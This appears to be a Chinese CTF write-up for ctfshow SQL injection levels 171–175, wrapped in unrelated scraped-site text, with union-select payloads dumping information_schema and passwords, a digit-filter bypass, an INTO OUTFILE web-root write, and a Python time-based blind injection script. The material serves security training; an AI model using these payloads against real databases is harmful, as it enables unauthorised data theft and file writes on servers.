当前位置: 首页 > news >正文

源码交易网站源码怎么在网站做系统

源码交易网站源码,怎么在网站做系统,郑州网站开发比较好的网络公司,昆山张浦做网站sql简介 web入门171 ——判断注入点: -1 union select 1,2,3 -- 其实在这之前可以先判断多少列,即 -1‘ group(order) by 3 -- group by用于将具有相同值的行分组成一个汇总行,可以查看是否报错确定列数 2&#x…

sql简介

web入门171

——判断注入点:

-1' union select 1,2,3 --+

其实在这之前可以先判断多少列,即 -1‘ group(order) by 3 --+

group by用于将具有相同值的行分组成一个汇总行,可以查看是否报错确定列数

2,3列都有回显

——查询库名:

-1'union select 1,database(),3 --+

——查询表名:

1' union select 1,6,group_concat(table_name) from information_schema.tables where table_schema=database() --+(这里把查询位放在第二位查不出来)

GROUP_CONCAT 是 MySQL 中的一个聚合函数,它用于将属于同一组的字符串连接起来,形成一个单一的字符串

table_name就是表名

information_schema.tables 是 MySQL 数据库系统中的一个系统视图,属于 information_schema 数据库。这个数据库提供了对数据库元数据(即关于数据库的数据,如表、列、索引等的信息)的访问。tables 表(或视图)具体包含了当前用户可访问的所有数据库中的表的相关信息

phpstudy中mysql界面:

table_schema:就是库名

——查询列名:

1' union select 1,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

column_name:列名

——查询password:

-1' union select 1,6,group_concat(password) from ctfshow_user --+

发现flag

web入门172

这里有两个表,那我就先看第二个

首先1' order by 2 --+判断出有两位

找回显位:

库名:

表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

有两个表

列名:-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

两个都是这个

flag:

-1' union select 1,group_concat(password) from ctfshow_user2--+

web入门173

老样子,确定字段数

查回显

库:

表:-1' union select 4,5,group_concat(table_name) from information_schema.tables where table_schema=database() --+

列:

password:-1' union select group_concat(password) from ctfshow_user3--+

看了其他师傅的,发现这题是过滤了flag

即如果:-1' union select id,username,password from ctfshow_user3 where username='flag' -- +的话

无数据,所以我们直接:-1' union select 4,5,password from ctfshow_user3 where username='flag' -- +

web入门174

注:查看url的时候发现是3.php,其实是4.php,手动切换

这题使过滤了数字和flag

库名还是ctfshow_web

然后要查的话因该就有数字了,我们把数字做替换

因为flag的范围刚好是1~f,即16进制的范围,那我们就可以把1~0替换成A~J

查表名:

原:0' union select group_concat(table_name),database() from information_schema.tables where table_schema=database()--+

后:0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from information_schema.tables where table_schema=database()--+

表为ctfshow——user4

查查列名呢

password:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(password),'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),database() from ctfshow_user4--+

然后替换就好了

tihuan = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}text ="ctfshow{eFEcbfGC-GfGA-DcfA-bICa-DFBDaJCbFeDH}"for i in text:if i in tihuan:print(tihuan[i],end='')else:print(i,end='')

web入门175

这题没看到回显位

试试时间盲注

经过测试发现:确实可以这么干

两种思路吧,

第一个:

是ngnix,在Liunx中/var/www/html是网站的默认文件位置,尝试直接写入文件

1' union select 1,database() into outfile'/var/www/html/1.txt'--+

访问1.txt

发现ok,那根据前几题的规律

1' union select 1,password from ctfshow_user5 where username='flag'into outfile'/var/www/html/2.txt'--+

或者我们可以利用时间盲注:

在1' and sleep(3)--+时

注意到出现

所以脚本上的url要写/api/v5.php,不能写原来网站的那个

(最好还要加上?page=1&limilt=10,不过没加也能出来)

脚本:

import requests
import stringurl = 'http://74760dc9-88e6-40f9-8a05-1319d3b9e33a.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'#匹配的字典
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&" # 猜数据库名# payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名# payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+" #猜表名# payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜列名payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+"  # 猜flag#substr(string, start_position, length)#第二个参数为起始位置,第三个参数为长度#如果匹配成功,就sleep(3)# print(payload)re = requests.get(url, params=payload)time = re.elapsed.total_seconds()# print(f"{j}:{time}")if time > 2:print(k,end='')a = 0 #如果找到字符,则将标志位置0out += kbreak #继续遍历下一位if a == 1: #在进行下一次循环前,先判断当前字符是否找到break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

http://www.dtcms.com/a/614283.html

相关文章:

  • 前端性能预算工具,控制资源大小
  • 海丰网站制作一个网站能放多少关键词
  • 计算机网络复习日报19
  • 【C++】10.用哈希表封装myunordered_map和myunordered_set
  • 黄陂建设网站做网站搞流量挂联盟广告变现
  • JSP Session
  • 鸿安建设集团网站百度免费建立网站
  • 【学习心得】conda打包进行环境迁移遇到conda包和pip包管理冲突问题
  • 做网站需要写配置文件吗教研网站建设方案
  • 51c视觉~合集52
  • 免费的虚拟现实开发教程,WebXR
  • linux下libcurl的https简单例子
  • 网站建立的意义建立网站可以赚钱吗?
  • 全连接层详解:从原理到应用的全面解析
  • Docker-Dockerfile 完全指南:编写最佳实践的镜像
  • 百度智能云建站广州地址设计网站
  • macOS系统中使用clang/clang++编译Skia源码的方法
  • 建设银行的网站怎么打开桂林建网站哪家好
  • 在线教育网站策划方案苏州做网站最好公司有哪些
  • 网站制作需要网站制作wordpress内容付费模板
  • OpenCV(二十六):高斯滤波
  • LeetCode Hot100 接雨水
  • C#22、什么是IEnumerable
  • 网站建立数据库手机ftp传网站文件在哪里
  • Flume Kafka源与汇的topic覆盖问题解决
  • 基于卷积神经网络的手写数字识别
  • 旅游网站建设ppt模板下载宁国新站seo
  • 助贷获客系统哈尔滨网站推广优化公司
  • 前端国际化解决方案,i18n库推荐
  • Intellij idea 注释模版